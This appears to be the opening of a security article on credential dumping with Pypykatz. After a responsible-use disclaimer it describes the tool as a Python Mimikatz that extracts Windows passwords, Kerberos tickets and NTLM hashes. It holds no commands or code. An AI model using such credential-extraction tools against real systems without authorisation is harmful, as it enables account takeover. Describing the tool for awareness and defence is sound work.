Credential Dumping via Pypykatz

Use what I'm about to say in this article only for the right purposes, such as raising security awareness and improving the security posture of your environments. I do not accept any responsibility for other uses.

Mimikatz implementation in pure Python. Pypykatz is an open-source tool designed for extracting authentication credentials on Windows operating systems. This tool can parse and analyze various authentication information, such as passwords, Kerberos tickets, NTLM hashes, and more, related to user accounts and sessions running on Windows.
